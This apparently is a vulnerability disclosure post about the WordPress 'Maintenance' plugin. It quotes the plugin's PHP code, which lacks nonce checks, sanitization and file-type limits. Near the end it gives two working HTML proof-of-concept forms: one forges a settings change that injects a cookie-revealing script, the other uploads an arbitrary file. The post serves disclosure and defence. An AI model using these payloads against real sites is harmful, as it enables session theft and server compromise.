15 Aug

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Maintenance

The plugin Maintenance was closed on the WordPress Plugin Directory yesterday. That is one of the 1,000 most popular plugins with 400,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains a couple of  less serious ones related to a more serious one. Through cross-site request forgery (CSRF) it would be possible for an attacker to cause arbitrary files to be uploaded as well as malicious JavaScript code to be saved to the plugin’s settings. There also appear to be additional security issues in the plugin.

The plugin’s admin page is accessible to those with manage_options capability, which normally only Administrators have:

6
$maintenance_variable->options_page = add_menu_page('Maintenance', 'Maintenance', 'manage_options', 'maintenance', 'manage_options',  MAINTENANCE_URI . '/images/icon-small.png');

When accessing that page the function mt_get_plugin_options() will be called:

54
55
function manage_options()  {
	generate_plugin_page();
58
59
60
function generate_plugin_page() {
	global	$maintenance_variable;
	$mt_option = mt_get_plugin_options(true);

In that there isn’t a nonce check to prevent CSRF before code runs that calls the function lib_update(), which runs file upload code, and save new values for the settings:

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function mt_manage_options()
{
	global $mt_option;
 
	$mt_option = mt_get_option();
 
	if ( $_POST ) {
			  $state = $_POST['state']; 
		  if (!$state)   { $mt_option['state'] = 'live';  } 
					else { $mt_option['state'] = 'maintenance'; }
 
		$mt_option['lib_options'] = $_POST['lib_options'];
 
		/* trigger theme activation */
		if ( file_exists( dirname( __FILE__ ).'/'.LIB_DIR.'/functions.php' ) ) {
		 include_once dirname( __FILE__ ).'/'.LIB_DIR.'/functions.php';
		 $mt_option = apply_filters( 'lib_update', $mt_option );
		}
 
		/* counter */
		$mt_option['expiry_date'] = $_POST['lib_options']['expiry_date'] ? $_POST['lib_options']['expiry_date'] : '';
		if ( !$mt_option['expiry_date'] ) {
   unset( $mt_option['expiry_date'] );
													}
		mt_update_option($mt_option);

There isn’t any sanitization done of the new values for the settings and as the proof of concept below shows, at least one setting is also output without being escaped.

In the function lib_update() the function lib_file_upload() is called with the string “logo” passed to it:

4
5
6
7
function lib_update( $options )
{
 
	$options['lib_options']['logo'] 	   = lib_file_upload( 'logo' );

That function will save a file sent with the request to the directory /wp-content/uploads/maintenance/ with the name “logo” and the extension of the uploaded file:

19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function lib_file_upload( $type )
{
 
	$field_name = $type;
 
	$file = array( 
				'tmp_name'  => $_FILES['lib_options']['tmp_name'][$field_name],
				'name' 		  => $_FILES['lib_options']['name'][$field_name],
				'size' 		  => $_FILES['lib_options']['size'][$field_name],
				'error' 		  => $_FILES['lib_options']['error'][$field_name]
			 );
 
	/*$dir = WP_CONTENT_DIR . '/uploads/maintenance/';*/
		$upload_dir = wp_upload_dir();
		$dir = $upload_dir[ 'basedir' ] . '/maintenance/';
		$url = $upload_dir[ 'baseurl' ] . '/maintenance/';
 
	if ( !file_exists( dirname($dir) ) ) {
		mkdir( dirname($dir) );
	}
	if ( !file_exists( $dir ) ) {
		mkdir( $dir );
	}
 
	if ( $file['name'] ) {
		$filename = strtolower($field_name.'.'.end( explode( '.', $file['name'] ) ));
		move_uploaded_file( $file['tmp_name'], $dir . $filename );

There is no restriction on what type of files can be uploaded.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept for Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS)

The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/admin.php?page=maintenance, when logged in as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=maintenance" method="POST">
<input type="hidden" name="lib_options[page_title]" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Proof of Concept for Cross-Site Request Forgery (CSRF)/Arbitrary File Upload

The following proof of concept will upload the selected file to the directory /wp-content/uploads/maintenance/ when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=maintenance" method="POST" enctype="multipart/form-data">
<input type="hidden" name="state" value="on" />
<input type="file" name="lib_options[logo]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.